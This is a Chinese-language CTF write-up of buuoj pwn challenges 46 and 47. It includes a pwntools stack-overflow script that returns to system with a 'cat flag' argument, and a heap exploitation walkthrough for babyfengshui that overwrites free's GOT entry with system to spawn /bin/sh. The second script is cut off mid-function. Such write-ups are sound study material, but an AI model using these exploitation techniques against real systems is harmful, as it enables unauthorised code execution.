buuoj Pwn writeup 46-50

博客内容涉及多种信息安全技术,包括缓冲区溢出、堆管理漏洞利用和系统调用。通过示例代码展示了如何利用栈溢出和堆漏洞来控制系统执行,如修改函数指针、利用UAF(Use-After-Free)进行内存篡改,以及通过命令注入执行系统命令。此外,还提到了逆向工程在分析程序行为中的作用。

46 jarvisoj_test_your_memory

保护
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述这个地方有个溢出。

在这里插入图片描述在这里插入图片描述
后门函数,cat flag都有,就直接一把梭。

from pwn import*

r = process('./46')

system_addr = 0x08048440

cat_flag = 0x080487E0

payload='A'*0x17 + p32(system_addr) + p32(cat_flag) + p32(cat_flag)

r.sendline(payload)

r.interactive()


47 babyfengshui_33c3_2016

保护
在这里插入图片描述在这里插入图片描述一看就知道是个堆。逻辑复杂。

add
在这里插入图片描述堆题首先就是要把它的结构分析清楚。
在这里插入图片描述delete
在这里插入图片描述指针就清空了一个,所以是有uaf的。

display
在这里插入图片描述输出函数平平无奇。

update
在这里插入图片描述又是菜单题 这非常的pwn
这种函数逐渐的引起了我的注意
所以这是个啥意思?
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )

它其实是不想让我们像前面那道题一样一上来直接unlink,从而控制它的这个数组,也不能堆溢出。

但是其实你仔细研究一下的话会发现这个检查机制很初级,有问题,它只能检测内存分配的时候description的chunk与ptr指向的chunk不会发生溢出。

这个检查问题就出在它默认des一定在node上面而且贴在一起,但是呢,我们最后的结果就是构造了一种情况,des在node上面,但是不是贴在一起的,这就造成了能往中间写东西。

第一个图是申请了三个note,内存是这样的
上面所有大小都是0x80

将第一个node释放掉, 然后上面会空出来0x100大小的空间,然后再写一个0x100大小的des,就会有图二的结果。

然后des2到nod2都是可以写的,就蟹盖free的got表,改成sys,然后在des2里面写入/bin/sh,然后free2就行了

在这里插入图片描述

from pwn import *

context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process('./47')
libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")

def add(deslen,txtlen,text):
    p.sendlineafter("Action: ",str(0))
    p.sendlineafter(
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值